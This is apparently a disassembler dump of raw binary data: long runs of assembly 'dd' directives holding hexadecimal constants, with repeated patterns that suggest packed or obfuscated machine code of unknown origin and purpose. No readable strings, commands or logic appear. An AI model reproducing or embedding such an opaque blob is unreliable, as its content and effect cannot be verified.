		dd 0A1A9DC1Bh, 0F861B850h, 0AD13F65Eh, 0A27024BFh, 0F258A2B5h
		dd 0B4039E8Ch, 0A29CCD75h, 0EC4BF23Ch, 0B68DF1D5h, 5D802h
		dd 0DFC54C00h, 6349CC3Eh, 0E8D450C2h, 6F53D547h, 0F0D45CCEh
		dd 1FCC904Fh, 0A012B32Bh, 229435ABh, 0A81ABB21h, 399D3EA2h
		dd 27FCB04Bh, 2AECA2B6h, 0C762503Fh, 9CC83813h,	0CD3F9D03h
		dd 0EDD15747h, 50C2B087h, 1587E5DBh, 0D488231Fh, 0C49CC837h
		dd 5221F85Eh, 0C01387FAh, 0A56CAF24h, 78A8F30Dh, 0C87782D5h
		dd 81D011A1h, 2D93A16Eh, 0F3D75DCFh, 1E929305h,	0F04EB428h
		dd 1223714Fh, 7E70982h,	0FC000000h, 3E8Ah, 46CC9F00h, 13198B62h
		dd 0F21766C2h, 17FA9FBEh, 0F744A1BCh, 0FFED53B9h, 38268A8Dh
		dd 0C89CE99Dh, 0D6BD19Ch, 5B267E36h, 0B051B5BBh, 0E9D750C2h
		dd 9CAC60FBh, 369C9CC8h, 2B24D8h, 0CC390000h, 9D8B6246h
		dd 386014AFh, 0D6489CC8h, 0AB096F5Dh, 0C8385910h, 344DA59Ch
		dd 378B6CE2h, 0DBC1448Ch, 774B9E04h, 9AA101Dh, 0F062501Eh
		dd 47AD8478h, 0C837F8ACh, 0F56EE09Ch, 0D143A107h, 779675Bh
		dd 74C79E0Eh, 0D63ABA7Ah, 8BE94F23h, 6E95D4B4h,	0EF41E580h
		dd 76C996DEh, 189C3E14h, 1EF558Eh, 4B38998Fh, 89B7D954h
		dd 0A37A66E0h, 0D071D73Dh, 62E8E85Eh, 3135A77Eh, 2A90F6CDh
		dd 7B52BEB8h, 4FC1AF15h, 0AF86E4D8h, 7B6990CFh,	0C79E0209h
		dd 7A150361h, 9CCC1545h, 6BDDCB31h, 8D71F5E5h, 4FC73927h
		dd 22D6715Fh, 129CC85Ah, 0BFAD4EACh, 6119336Ch,	83E1C49Ch
		dd 0D0A71B11h, 9C8AB1F0h, 0E1607A01h, 0B6B02296h, 0BA0D734Ah
		dd 6EDFC351h, 0E9B10F95h, 80AC60FBh, 0AE9CA2B0h, 0B0815F13h
		dd 7BE147A2h, 0CF52CB15h, 9970F7B8h, 420E5h, 970D0400h
		dd 1B8184F6h, 0A00C087Ah, 278B8DFFh, 0A81C1486h, 0D7944807h
		dd 58CA6B53h, 0DA4CEDD3h, 60D27359h, 0F155F6EAh, 29B46803h
		dd 0E2A4A2B6h, 6246CCF7h, 0E5D94FC1h, 0AA969C0Eh, 0C8385B0Fh
		dd 7FE54B9Ch, 0B9251F91h, 471E7CE2h, 0B5612078h, 0CCAA4BBFh
		dd 981F77Eh, 3B42h, 63E25400h, 5E301B79h, 6F0AF81Fh, 96E0CA9Dh
		dd 9448E3D1h, 84A2B084h, 58CAB81Eh, 7D61E5DFh, 39DA40A6h
		dd 0B084E49Eh, 0C4382EA2h, 43C33523h, 888BFD5Bh, 8A994D24h
		dd 0AE000003h, 0AF81F5Eh, 59309C98h, 0B9A795F3h, 9E0CC47h
		dd 83AA45A3h, 6D96E01Eh, 0BD9478FBh, 0CB31F957h, 9E9406F4h
		dd 0D45ACC2Ah, 96119F0h, 0CAF13078h, 371A41DCh,	82E89CC8h
		dd 9BC201E1h, 1EEB12ADh, 0B51B96E0h, 78E46CDEh,	0B05129DDh
		dd 45AB11A2h, 374AA26Eh, 0BFF3271h, 0FA8A96A6h,	1D83970Ah
		dd 8C7AE046h, 0C907CAF1h, 0D7BF129Ch, 0A9977BFCh, 32980C04h
		dd 5A60CD4h, 52299D93h,	7CEE6AE0h, 0C77B16FAh, 0AF9CC8CAh
		dd 6242E349h, 200EFC23h, 0CAE39732h, 6DD39CC8h,	9C45740Fh
		dd 0CF3596E0h, 0D4A55DF8h, 6AEBA2B0h, 3E39AB82h, 0EB43FBD2h
		dd 83DB8C96h, 905EACFEh, 38220F6Ah, 37000000h, 0AF81F5Eh
		dd 0E00C206Fh, 0BFD52896h, 0F9B2FFF1h, 3FA56DCBh, 0C087A68h
		dd 0EFA742A0h, 0F6A2B08Ah, 79C7E39Eh, 0D80F6A4Ah, 7E9B4FEAh
		dd 258BA2B0h, 0EE3EC7h,	50530000h, 3813C762h, 0D1599CC8h
		dd 61BF25EDh, 62FD79EFh, 9CC837AEh, 0F3CA3096h,	3E158981h
		dd 8B6246CCh, 0EAF1319h, 43B9AE20h, 33AB4AE5h, 4BC19CC8h
		dd 7FE5C94Bh, 2E66CDEh,	3CA0A214h, 0CAA1FF65h, 9684ABEAh
		dd 3B590DA8h, 0DB419CC8h, 55F48F7Dh, 9F96E020h,	0FBD4252Dh
		dd 2724B98Eh, 0B61CF359h, 892A9058h, 5E12AD9Bh,	46A2B059h
		dd 63A282E0h, 50B34E3Ch, 369CC58Fh, 0CB1CCFE3h,	88EE1551h
		dd 0BD23289Ah, 342280E6h, 0B5564EC2h, 0B44FCF43h, 9CCA7F00h
		dd 0DD5C73Eh, 0CC329A9Bh, 0CD991C66h, 0F4CBF1D2h, 1E840h
		dd 0CF353C00h, 53B9BC2Eh, 0D8C440B2h, 5F43C537h, 0E0C44CBEh
		dd 0FDC803Fh, 9002A31Bh, 1284259Bh, 980AAB11h, 298D2E92h
		dd 2BECA03Bh, 1ADCA2B6h, 0C762502Fh, 9CC83813h,	0CD3F9D03h
		dd 4EC06145h, 5843E4D8h, 0AF81F5Eh, 59309C98h, 0CA795F3h
		dd 96E00CBDh, 7260379Dh, 0BD940800h, 0A65EF957h, 0ADA2B042h
		dd 0E6CA4DBFh, 59513088h, 0F6A020Bh, 0C4CFh, 0FD50E400h
		dd 0C2540844h, 0AF217F4Ah, 45745B9h, 0F554C9C4h, 3B1270A0h
		dd 865D41C9h, 0C8CF4CEBh, 0AA2A209Ch, 36940A4h,	848AFC9Dh
		dd 85B4920h, 6E774C69h,	0E1C11F9Dh, 1B8D7BA2h, 6351AF17h
		dd 0E0BC29C8h, 3AD5C396h, 0A2B0BD86h, 0E2AA086Eh, 0BCFBDB7Ch
		dd 3235A795h, 3391F7CEh, 16E4AA45h, 5DB09CCBh, 860AE5BAh
		dd 6B59BF6Ch, 9F070B7Dh, 635BCF41h, 0E062D4C2h,	24888AFCh
		dd 0E8DC54C6h, 0D366199Eh, 0CC8057F1h, 0E9h, 2DCE363Bh
		dd 0B152BABBh, 36D7C73Fh, 0BD5E42C4h, 3EDFC74Bh, 1A0EDF7Fh
		dd 988F01A2h, 16118324h, 919709AAh, 3A288C2Dh, 0B62CEB9Fh
		dd 2E19DBA2h, 0BF6044CCh, 42E3C74Dh, 0DA46CC57h, 25FCE068h
		dd 387024BFh, 0F2589CC8h, 0CD43B58Ch, 195838D9h, 0AD6904F2h
		dd 2796DE50h, 2BC6B2B5h, 0A2B61E77h, 0BC93F95Fh, 19CD6856h
		dd 1A2B61Eh, 0F753D9Bh,	5C40C638h, 0DFC349BBh, 0B46803F1h
		dd 0A4A2B61Dh, 6E09E03Eh, 960A949Dh, 0E4BB2327h, 3108FC72h
		dd 1A0879D1h, 23770A62h, 0C6E69A35h, 0DA89E89h,	9E89C759h
		dd 0AD13DB41h, 6757DD4Fh, 0F899FFEFh, 451C8086h, 7F6D51D3h
		dd 4EA1050Dh, 1498E07h,	9E03E08h, 7A9CE53Dh, 0FD6F10F4h
		dd 8BC9377h, 15h, 40ACA81Ah, 6250F7E2h,	0EB867AF0h, 9CC83837h
		dd 975BB91Fh, 5F45CCACh, 0AC101688h, 0FCE063D5h, 48BCB325h
		dd 930BFF71h, 0DEC64ABCh, 2F939507h, 7E6EE658h,	0CC3035A7h
		dd 895273F5h, 4C281E2h,	83000000h, 148704EAh, 0C895C24h
		dd 3A566824h, 4890000h,	1AE96824h, 34890000h, 3BA5224h
		dd 0F70E3018h, 8BC281D2h, 89141DFFh, 24148BD0h,	5404C483h
		dd 8124348Bh, 4C4h, 0C3895300h,	8468F53h, 2434FF5Bh, 4C4815Eh
		dd 0FF000000h, 83582434h, 0C3E904C4h, 18FFFA87h, 0B8F5151Dh
		dd 5EDF67Dh, 0E0FFC503h, 28B30D34h, 357C2376h, 6513DA01h
		dd 0DFCC50h, 5CAC93BAh,	679BFDDAh, 4947C740h, 10F7BD44h
		dd 3211199Ch
		dd 7D129F12h, 2497301Fh, 4E1B3E08h, 39F9DCCh, 60965E43h
		dd 15B10E2Ch, 77D2132Eh, 5BA99F9Ch, 2FE271FCh, 28350CA1h
		dd 17DE9h, 0FE5D6000h, 0C2016C4Fh, 0CAD1D76Fh, 7E41EFB4h
		dd 9752E45Bh, 0A3FB6D5Dh, 0B99244FCh, 0D792A59Eh, 0B9E495BCh
		dd 0B2CB0093h, 0ACA3F49Dh, 9EB9FC9Ch, 0C945D200h, 0EE73AFh
		dd 0BA9755FCh, 0E56D599Ch, 0ACFFB2A4h, 57F647FEh, 0CCD4C456h
		dd 7DB5F600h, 9549F78Fh, 0BCFA9753h, 5CCD45C9h,	0E56CA191h
		dd 10000ACh, 43h dup(0)
		dd 0D1F80000h, 0DA43736h, 2901D3C2h, 76E95E0Dh,	68000010h
		dd 5EDFAB1h, 0FB4A88E9h, 0FBBC68FFh, 7EE905EDh,	68FFFB4Ah
		dd 5EDFD76h, 0FB4A74E9h, 0FE4868FFh, 6AE905EDh,	68FFFB4Ah
		dd 5EDFF94h, 0FB4A60E9h, 6D68FFh, 56E905EEh, 68FFFB4Ah
		dd 5EE0100h, 0FB4A4CE9h, 18A68FFh, 42E905EEh, 68FFFB4Ah
		dd 5EE0254h, 0FB4A38E9h, 2BF68FFh, 2EE905EEh, 68FFFB4Ah
		dd 5EE038Ah, 0FB4A24E9h, 43D68FFh, 1AE905EEh, 68FFFB4Ah
		dd 5EE04FBh, 0FB4A10E9h, 6CF68FFh, 6E905EEh, 68FFFB4Ah
		dd 5EE07B2h, 0FB49FCE9h, 5F1AC1FFh, 690CCD9Eh, 7500D7A8h
		dd 7BFAE3B4h, 8AEDE9BAh, 0A0876BC9h, 0AF804136h, 0BA8B4C23h
		dd 0C3945522h, 0F2A16215h, 0A12DB01Eh, 64E85503h, 86B6DABh
		dd 7106D2A3h, 879853B0h, 79592A55h, 0CB2E91F6h,	0C4B326F7h
		dd 9064FC5Fh, 19932E22h, 177CDF5Fh, 98B30A9h, 6D3A0E55h
		dd 0C50F46A7h, 0A80FA738h, 714BC239h, 1CEDB8C8h, 0B91DB5BAh
		dd 5Ah,	192EE100h, 8C411DD9h, 0A579DC33h, 0AD76C7D8h, 0DCFC8E1Ah
		dd 0C89C3497h, 18CF565Ah, 0CE9B6F5Fh, 25806598h, 469705FFh
		dd 0CF550957h, 3708D46Ch, 0C6FD49Bh, 3D644A9h, 5550957h
		dd 67389DD8h, 47A00570h, 0E58001E0h, 0E0B1637Eh, 0E981F6h
		dd 0B8C8040Dh, 0D19Bh, 6B6DE200h, 4D2A308h, 0A335066Bh
		dd 3E9A6BD0h, 7D0A7839h, 0B5AF19Dh, 0D59A3CCDh,	0F8E0B172h
		dd 56D27011h, 95626E90h, 30ADE245h, 48AD10F6h, 0B98D20EBh
		dd 2085EAE8h, 7D5125BDh, 0DE4330ACh, 4F75E37Bh,	0C65F18DDh
		dd 8A45A263h, 0B5186379h, 0A13C0DE1h, 43D03ED6h, 52593274h
		dd 0B81D5881h, 4D1EF255h, 0D6077589h, 3F4F1E31h, 0A9CC0BDCh
		dd 0BD7EE144h, 0E01BEAECh, 7C61CFE6h, 994F1DBCh, 0C8056936h
		dd 4B8C74D7h, 981AD25Bh, 0DD88B33h, 0BD1E0000h,	0A93001C2h
		dd 9B3C0DCEh, 974617D8h, 805627E8h, 0F4D836F7h,	0E5A6C90Dh
		dd 0F0B1BE14h, 1C2BD1Fh, 0ACBA830h, 0C419875Bh,	5155039Fh
		dd 696D14CDh, 76613206h, 9B3396FBh, 0A4CF09DAh,	2EE12AE3h
		dd 6F41AF83h, 565F1991h, 8EC91482h, 0E94C5509h,	0BD228551h
		dd 4BBE18E9h, 1E81E691h, 5BF356BBh, 98EECEDh, 0BABD1C55h
		dd 0E9B98855h, 0E541831Fh, 46ABC814h, 0DD9E43AAh, 0EF06DB42h
		dd 0B8C88B7Eh, 0E78Ah, 966AD100h, 0F199B528h, 30A65F5Ah
		dd 0EF548F9Ch, 5728C023h, 0C091F681h, 8EFC6116h, 5AF18FF9h
		dd 5A2E498Fh, 86C51886h, 8B4B5AF1h, 1DB518E4h, 2A4D8B5Ch
		dd 7E24F1C5h, 9825666Fh, 4F005DF5h, 6460CEA2h, 0B15F18E9h
		dd 7F308D4Eh, 562AFED2h, 8E6F5E8h, 25BD2055h, 32892DB7h
		dd 834F2059h, 40D00D7Bh, 0E2454F1Eh, 0B81BE77Fh, 3EC313E4h
		dd 187BE09Fh, 0B323F4B5h, 0BD99D4BCh, 85EA1AD2h, 0CCDDDh
		dd 0C7B22900h, 0D1A43506h, 0DD983F10h, 0E3924B1Ch, 0F2855122h
		dd 8EFD331h, 17E8A9CEh,	22F3B4BBh, 2BFCBDBAh, 5A09CAADh
		dd 9EC51886h, 0CC505503h, 28966A13h, 5AF199B5h,	0BB29FD60h
		dd 5AF19A22h, 27F890F3h, 0EC055EAFh, 19D6C77Bh,	86E98E48h
		dd 0BD20F1C5h, 7F592AC2h, 925F33F4h, 4295672Fh,	0C17A12BDh
		dd 0A3086B6Dh, 0B07106D2h, 21F59853h, 4F09D954h, 23BBE0E9h
		dd 39A77B4Fh, 5AF105A4h, 8760E71h, 5F18F558h, 180D28F5h
		dd 819E03h, 0DA3DA2DDh,	73401477h, 0C67E0308h, 9449B750h
		dd 81550901h, 0BE23BB1Eh, 9018950h, 934EB555h, 0C8DEE16Ch
		dd 0F7CA97B8h, 0F6BD5DEFh, 0DD4235A1h, 1B7F177Ah, 7Bh
		dd 832EE162h, 83AF41AFh, 3B9E5F19h, 0A63102D6h,	14C533CBh
		dd 2A550981h, 1D588556h, 4DE58A4Ch, 4519FBE6h, 98106D7h
		dd 0A8CF0A55h, 0B114E043h, 5A3D3019h, 40CBB8C8h, 12000000h
		dd 0AF832EE1h, 199DF341h, 6615E25Fh, 0F674CBEh,	16FD437h
		dd 550955D8h, 69CEA930h, 58C64498h, 55095685h, 65CA2D90h
		dd 0C82D4294h, 7869D065h, 0DC056C07h, 0C8031815h, 14B0B8h
		dd 6AF70000h, 99B52896h, 815B5AF1h, 2FC72AF6h, 81B87h
		dd 2EE1CE00h, 48ADC815h, 40AE82E5h, 5F1C6234h, 0EB885021h
		dd 0ECC02386h, 0E6BABD1Bh, 18B0C315h, 25528657h, 5A863C0h
		dd 0EEEF5D31h, 275503A1h, 0EA582CC4h, 592E74FBh, 4F23F75Ah
		dd 15AAFCE1h, 0B1BE144Fh, 16EA82E5h, 1FE09345h,	88ED8A4Eh
		dd 0F9CD602Bh, 3DBB3D8Bh, 856DD053h, 0C5FB5Eh, 139840A5h
		dd 0E300000Bh, 0EBBC7DF8h, 0F5C687EEh, 0FDCE8FE2h, 3D495E0h
		dd 7DDB9CD3h, 4B24B299h, 5619B98Ah, 5B18C495h, 640FC99Ah
		dd 0B220F4A3h, 55039D2Bh, 0D0AD66EAh, 5AF19B09h, 4115B873h
		dd 1C6B71D3h, 6D41A45Fh, 0CE5C56A0h, 572473C2h,	828B86A3h
		dd 894AE268h, 0FACE632Ch, 2E8AF08Ch, 0F3905D59h, 81F4E591h
		dd 66ECB91Ch, 5420B876h, 0BA1F5683h, 86398A57h,	1715359Fh
		dd 3B0CE0B4h, 1073D897h, 4631A778h, 0D136A172h,	9754B1EEh
		dd 0FC94F743h, 96E6A3Bh, 0E98447A4h, 7576A715h,	0BC1F5340h
		dd 0B6C117E8h, 55B424F5h, 6ED7485h, 1E83E64Bh, 289627B0h
		dd 0F79A55C9h, 0B7824F23h, 210C2D36h, 9A56C45Ch, 0B3CD5095h
		dd 0A3096850h, 2D9286B0h, 0A4185h, 4B26B500h, 5520B98Ah
		dd 6114C394h, 6F0ECFA0h, 76F9DDAEh, 8C7357B5h, 9364254Ah
		dd 9E6F303Fh, 0AF80413Eh, 0DE8D4E29h, 9C419C0Ah, 50D45503h
		dd 192EE197h, 0A8153D9Dh, 5125886Fh, 0A6CE0F7Dh, 34465AF0h
		dd 5F8B1C0Ah, 0D8AC0FDBh, 0F186736Ah, 0A73FA25Ah, 58DF65D3h
		dd 5D2E5F1Ch, 2C8FF47Fh, 95FA7D5Bh, 6BCE9A32h, 0E6F2C397h
		dd 8EBA2391h, 0F85B5503h, 1DBB8C60h, 8F627BE9h,	50B35503h
		dd 84582CEDh, 38EC716h,	1AEB4E55h, 0ED50B5C2h, 1F548455h
		dd 0FF925DBAh, 61B3BD2Bh, 379A592Eh, 0F6709663h, 0D8870658h
		dd 3D9B6C40h, 4395663Ah, 6D79830h, 0E340A5D2h, 43B18528h
		dd 534033F2h, 0D8AC80E3h, 0A736CB07h, 0AD1075D8h, 0DF944415h
		dd 7E8B4D1Eh, 0D52DE3B7h, 0EF54B709h, 26DB5881h, 0C66B2449h
		dd 7D4A1EF2h, 80ED68F5h, 0EBF260ABh, 2A4926B6h,	95E2F6C7h
		dd 0C735CD30h, 4D518A71h, 5425F95Ch, 4A1BEF84h,	0AF80E592h
		dd 53EB4E29h, 5C17C192h, 9746B488h, 7E4338C0h, 0E74A25ADh
		dd 1BB3BC16h, 0FB9659B6h, 92C3B927h, 2F924763h,	284F8A5Bh
		dd 1DCE2B90h, 522E9C70h, 3B4172D5h, 0E19FF0D8h,	0BF24328Eh
		dd 8F517h, 9FDA0100h, 0A9CC0DDEh, 0B5C017E8h, 0BBBA23F4h
		dd 0CAAD29FAh, 0E0C7AB09h, 0EFC081F6h, 0FACB8CE3h, 3D495E2h
		dd 32E1A2D5h, 9AEDF05Eh, 0A4285503h, 86B6DEBh, 7106D2A3h
		dd 0DF02690Ch, 0F9765C2Dh, 2B489061h, 478C816Ah, 181CBD20h
		dd 63000000h, 0B528966Ah, 605AF199h, 7BBD65FDh,	0E9000004h
		dd 50B5BA18h, 0C49C55EDh, 6D00CB87h, 0B9A12B99h, 11745F19h
		dd 0B522F3C7h, 89EE8954h, 0BD2BC326h, 84122A4Eh, 8458F5B6h
		dd 0A89B42B0h, 177A81FDh, 333DAB7Fh, 1A8625A3h,	3AF552B7h
		dd 1BEFC397h, 159B30ADh, 6E6FDD7Ch, 0A77C159Bh,	7D157844h
		dd 3EE1DA0Fh, 3C107380h, 1EE3FA68h, 0CF32762Ah,	46926337h
		dd 0CB9C7031h, 0FECF670Eh, 40B59DDAh, 0F3F5C69Fh, 81CE68Eh
		dd 1DA0000h, 0F5E4B576h, 0E7F0C182h, 0E3FACB8Ch, 0D402D394h
		dd 987CDA9Bh, 915225B1h, 9C5D12C0h, 0A56611CBh,	0AE6F04D4h
		dd 20BD2BFFh, 0F555039Ah, 6B6DB871h, 0D53A3D9Ah, 6A3B0F72h
		dd 40A3086Fh
		dd 647243A8h, 22ED4A0Bh, 79E7BB8Fh, 5AF19A64h, 0E2B64EB1h
		dd 1C6DB274h, 9542135Fh, 821A7DE2h, 0AE7F53B6h,	0BB8C4D2Ah
		dd 98F55A1Dh, 0F8663AD7h, 592E7578h, 98DBFCCDh,	6C38D033h
		dd 74643509h, 6B6D3EFFh, 4D2A308h, 0B04836Bh, 66CB1ADAh
		dd 789BEh, 36E6D00h, 0D687142h,	195C7B4Ch, 27568758h, 2E419566h
		dd 442B0F6Dh, 4B1CDD92h, 5627E887h, 6738F986h, 96450671h
		dd 998954C2h, 88C5503h,	40996A4Fh, 0D56DD035h, 461AB778h
		dd 1C6C98D8h, 0FDDCAD5Fh, 0A2429B09h, 70D35503h, 0AD45A80Dh
		dd 0AEC910E1h, 32A6774Bh, 25B38445h, 0DF90ED52h, 4B8D5E32h
		dd 4EBC9028h, 592B8D9Ah, 4CE6DEABh, 0C4F4E957h,	0BE214F1Ah
		dd 0B57553F1h, 6EE511Dh, 1AD7CD83h, 0FF4BF358h,	0F7000006h
		dd 7D899E4h, 11E2A3D2h,	19EAABC6h, 27F8B9C4h, 0A907C8AFh
		dd 7FF8DEC5h, 8AE5EDBEh, 97E4F8C9h, 0A0D305D6h,	0EE5C30DFh
		dd 550398EFh, 6DE9A226h, 0D2A3086Bh, 4B920006h,	0CA5AF19Ah
		dd 0FC9F0467h, 1BBD4C95h, 0BFAE9758h, 49BD2043h, 0Ch, 28C9690h
		dd 0F1C20000h, 41FA92E5h, 0A3086B6Dh, 14E88546h, 1C61CAA6h
		dd 5F20835Fh, 0C82D4A8Eh, 0D798DFF7h, 1CC12F03h, 0F95503A1h
		dd 0EEA1FE96h, 50016F43h, 0BD592E73h, 23B5865Ah, 1ABE8F50h
		dd 0AF27F85Dh, 450663C8h, 1E66D4A8h, 6F533DC2h,	0DA28F2A2h
		dd 60F8BBA6h, 5C13C394h, 2BE52AF7h, 4C387C4Bh, 27601CE9h
		dd 0EF190F58h, 0F533A48Ch, 9B0000C5h, 635F3h, 5F1AC100h
		dd 690CCD9Eh, 7500D7A8h, 7BFAE3B4h, 8AEDE9BAh, 0A0876BC9h
		dd 0AF804136h, 0BA8B4C23h, 0C3945522h, 0F2A16215h, 982DB01Eh
		dd 64E85503h, 86B6DABh,	0D4FECFA3h, 0A632039Bh,	62C96CD1h
		dd 2B48907Fh, 438C816Ah, 0DBACBD20h, 0AC0F74FBh, 7B014h
		dd 96F70000h, 15Ah, 86B6DDDh, 1E4BD20h,	79218611h, 5CAh
		dd 3C4AF2Ch, 0FD0A732h,	1DDE993Eh, 25E6914Ch, 2CED8254h
		dd 0D303EACEh, 0C80ADB9Ch, 0C715E6A7h, 0BE1AEBACh, 7549F8B9h
		dd 397D607h, 2BB3F55h, 0A3086B6Dh, 0D30306D2h, 31D4399Ch
		dd 28F517CAh, 9097FFA1h, 8758F0EFh, 7C652651h, 0BD20AAF1h
		dd 1B17h, 0EF965E00h, 0C2000000h, 0E204ECF5h, 8C242BD2h
		dd 0E096D3h, 0F1C20000h, 3FF890EBh, 0AF832EE1h,	47D80EDBh
		dd 0B56BBC0h, 83089D3Eh, 9A3260E2h, 1BC8442Ch, 0BF2D015Fh
		dd 5503081Eh, 28B523F7h, 0ED550308h, 0C38F278Ah, 0ED9EFB60h
		dd 2A986C40h, 550307B3h, 9367FF62h, 2B208325h, 5D794A59h
		dd 8552B51Ah, 298A2824h, 0AE96F94Ch, 1AD72419h,	0FF11B91Eh
		dd 0F7000004h, 7D899E4h, 11E2A3D2h, 19EAABC6h, 27F8B9C4h
		dd 0A907C8AFh, 7FF8DEC5h, 8AE5EDBEh, 97E4F8C9h,	0A0D305D6h
		dd 0EE5C30DFh, 550396EFh, 6AE9A226h, 0BCB2469Dh, 23BBBCEBh
		dd 946805C6h, 19540926h, 0E9F3C45Fh, 86572B8Eh,	5CBF2453h
		dd 481CF0C4h, 8C903DAh,	0DEAF1255h, 12E37BF4h, 83F1B2C5h
		dd 5508C955h, 915225B3h, 0F75C17C0h, 828B5223h,	4945B35Fh
		dd 30C82B57h, 48188h, 2EE1CF00h, 2F41AF83h, 165F1C62h
		dd 0A209D442h, 3F0C5503h, 0C1E85472h, 26BE21FAh, 3592F75Ah
		dd 9503D77Ah, 592BC313h, 426F57BAh, 0E91AD7FEh,	44CDC84h
		dd 31AA0000h, 25B48546h, 17C09152h, 13CA9B5Ch, 4D2A364h
		dd 684CAA6Bh, 61225581h, 6C2D4290h, 7536419Bh, 7E3F34A4h
		dd 508DFBCFh, 0C5550396h, 966A8841h, 0F199B528h, 65FD605Ah
		dd 0D6AA4708h, 1C620C68h, 6C70415Fh, 48AB770Fh,	4235A374h
		dd 2FA97ADDh, 7D8AC44h,	14E5A6D1h, 0DD03EC4h, 85503A2h
		dd 7003D4A5h, 804BA80Dh, 944819EDh, 0D7B4FE7h, 592E74D8h
		dd 75461A7Dh, 7B4F1063h, 0A9A439A7h, 0A0714F15h, 0ADB3E39h
		dd 4112AACDh, 1A77DC97h, 0ED8A4E51h, 0EEC22588h, 3DBA4880h
		dd 0D9F0BD53h, 6312CB56h, 0EDCE9BFEh, 5925BD8Ah, 0C6294E88h
		dd 0C5E1DDDEh, 55FD6200h, 38Eh,	47087368h, 53146376h, 61225582h
		dd 71324D90h, 804136A0h, 7F573E22h, 6C6637F8h, 6B714203h
		dd 5A7E4F10h, 0D9AD5C1Dh, 396726Bh, 661FA355h, 0A3086B6Dh
		dd 9D7106D2h, 0C7A255D0h, 0A2056A15h, 0AC424CD5h, 0AE7F5314h
		dd 5AB74F28h, 0BA28FC91h, 5F198D96h, 6F401477h,	47AA0F6Eh
		dd 0A5764AAFh, 7D83D38h, 0AA42A5D0h, 9849D3Ch, 76E6B55h
		dd 0FE07D1A2h, 0D83BA0DFh, 0D741075h, 0D0A335D4h, 766BD26Dh
		dd 0EFBCC794h, 397459B2h, 0EDB5B8A1h, 12E3B8C8h, 0D6993DC4h
		dd 13AB0E73h, 4DAFh, 2EE1F600h,	4AAFC215h, 42B084E7h, 5F19916Eh
		dd 24538657h, 0F8C45CBFh, 0E553AB27h, 55098EF8h, 8357BA1Dh
		dd 98EC815h, 87EA4D55h,	8F25B422h, 0B2195509h, 4C45C82Fh
		dd 2E63B8C8h, 8F000001h, 0FA8906C2h, 0CD3095E2h, 955FB500h
		dd 996A44FDh, 0CC9D3540h, 3102670Ch, 5E868A5h, 0FE6310CCh
		dd 5707CE9Bh, 0E3B084E7h, 0AF785B12h, 1BBE8F3Dh, 8E5FC45Ch
		dd 0F7C82D4Ah, 26B725E1h, 0EF5AF0D8h, 0D830AD1Bh, 82E55AF0h
		dd 27FBBC1Fh, 92F78056h, 5E29972Fh, 275AF0DBh, 0D2F8E553h
		dd 0BA1D5AF0h, 0EC875122h, 0D78A572Bh, 5924B994h, 0E408828Ch
		dd 0AC5D7B4Ch, 7502DA2Bh, 0E54AAD10h, 1C3AA311h, 78DB5AF1h
		dd 0F04DB215h, 2AB3213Fh, 0EA5AF11Ch, 24A37EADh, 45A874F1h
		dd 0A00EE2h, 0CD5F1909h, 11C5966Ah, 0FE96F95Eh,	29C693Dh
		dd 0A882FA02h, 0BC6FCC64h, 0FB693D11h, 550969E2h, 0FC7B6233h
		dd 39D13497h, 275F765h,	7DE05933h, 6608D5A9h, 8E234E2Eh
		dd 9C41AF83h, 794F1F51h, 29AD7E16h, 147704D8h, 1B548253h
		dd 0D3AD7233h, 0B45CC11Ah, 1BAh, 13D49F3Ch, 1FE09742h
		dd 2DEE894Eh, 35F6815Ch, 3CFD7264h, 0C313FADEh,	0B81AEBACh
		dd 0B725F6B7h, 0AE2AFBBCh, 855908C9h, 393C617h,	12CB4F55h
		dd 4506696Dh, 4E0F6474h, 832EE195h, 0CC0ADBAFh,	9A19C432h
		dd 99FC5AF1h, 0D66ED136h, 19914868h, 0BD22855Fh, 98E8A4Fh
		dd 0CE0B455h, 98E3F9Eh,	0A673D655h, 0C2396ED3h,	0A30AA229h
		dd 0EAB6B73Eh, 0AC52B8C8h, 99000000h, 0A3086B6Dh, 8CFA04D2h
		dd 5AF19A51h, 99FE61C4h, 0F19D5C2Bh, 0C7AC2C5Ah, 0D0A33506h
		dd 16C6976Bh, 0D0A10469h, 0A3066B08h, 50FDAE0Bh, 7A920E7Ch
		dd 0D83B5F19h, 5CF1BA17h, 5621B788h, 8F7CEABEh,	659331Ch
		dd 0D8FECFA3h, 0ECFECB9Fh, 6C07D011h, 0FDCD2B9Fh, 30C8AB2Ch
		dd 0D1389E6Fh, 220A6D08h, 1AD37175h, 0D7AD55BAh, 1F000000h
		dd 2F00C1BCh, 390ACBAAh, 4112D39Eh, 4F20E19Ch, 0D12FF087h
		dd 0A7D006EDh, 0B2BD15E6h, 0BFBC20F1h, 0C8AB2DFEh, 16845807h
		dd 550392C7h, 6D11CA4Eh, 61320669h, 3497FC77h, 0CE0ADB9Ch
		dd 6A2FE8A9h, 99B52896h, 0FD605AF1h, 2F449465h,	94DFF9CAh
		dd 18B576D3h, 7C1E7744h, 7CFC9A94h, 0CAA210E4h,	835F1BAAh
		dd 0FD6B17B6h, 0F28AB2BAh, 8D5EC326h, 9667284Bh, 62D03542h
		dd 0FB23BEA3h, 34E3FE65h, 2AFBCFA4h, 63C8AFh, 2D6A768h
		dd 6D0A175h, 0A074D971h, 8EFC08CFh, 0F91F7E4Fh,	9B0063C6h
		dd 0ECFA038h, 22890A6Fh, 5B7C4DBFh, 29AF8018h, 0ECB98D4Eh
		dd 9C964E7h, 0D19E0166h, 996A818Ah, 6ED13639h, 0A0D305D6h
		dd 99DCFBCCh, 3F49C01h,	3B000000h, 6E6DD38Ch, 0BCD9E03h
		dd 0AA320368h, 3B9768CDh, 0D8FECF34h, 6D693A9Fh, 9D4A50Ah
		dd 9F38096Eh, 3B9E6FD4h
		dd 5250D73Ch, 0C281E289h, 4, 8704EA83h,	895C2414h, 89562414h
		dd 4C681E6h, 81000000h,	4EEh, 24348700h, 2434895Ch, 4EC81h
		dd 2C890000h, 4EB95124h, 0BE51386Ch, 54D5951Ah,	0C8BCE31h
		dd 4C48324h, 242C8B54h,	4C481h,	0BB530000h, 8, 3389EB01h
		dd 83241C8Bh, 34FF04C4h, 0C4815D24h, 4,	5E2434FFh, 4C481h
		dd 2AE90000h, 72FFFB3Ah, 65EE01ECh, 3591FD87h, 0CE8F1B8Dh
		dd 8AEB8F8h, 0C50305EEh, 5331E0FFh, 4A661270h, 9A223AFh
		dd 459A2659h, 6C10AAAh,	9A46702Ah, 2D666895h, 0D2791F00h
		dd 12E80DCAh, 80000000h, 76F86458h, 744B92Dh, 70155674h
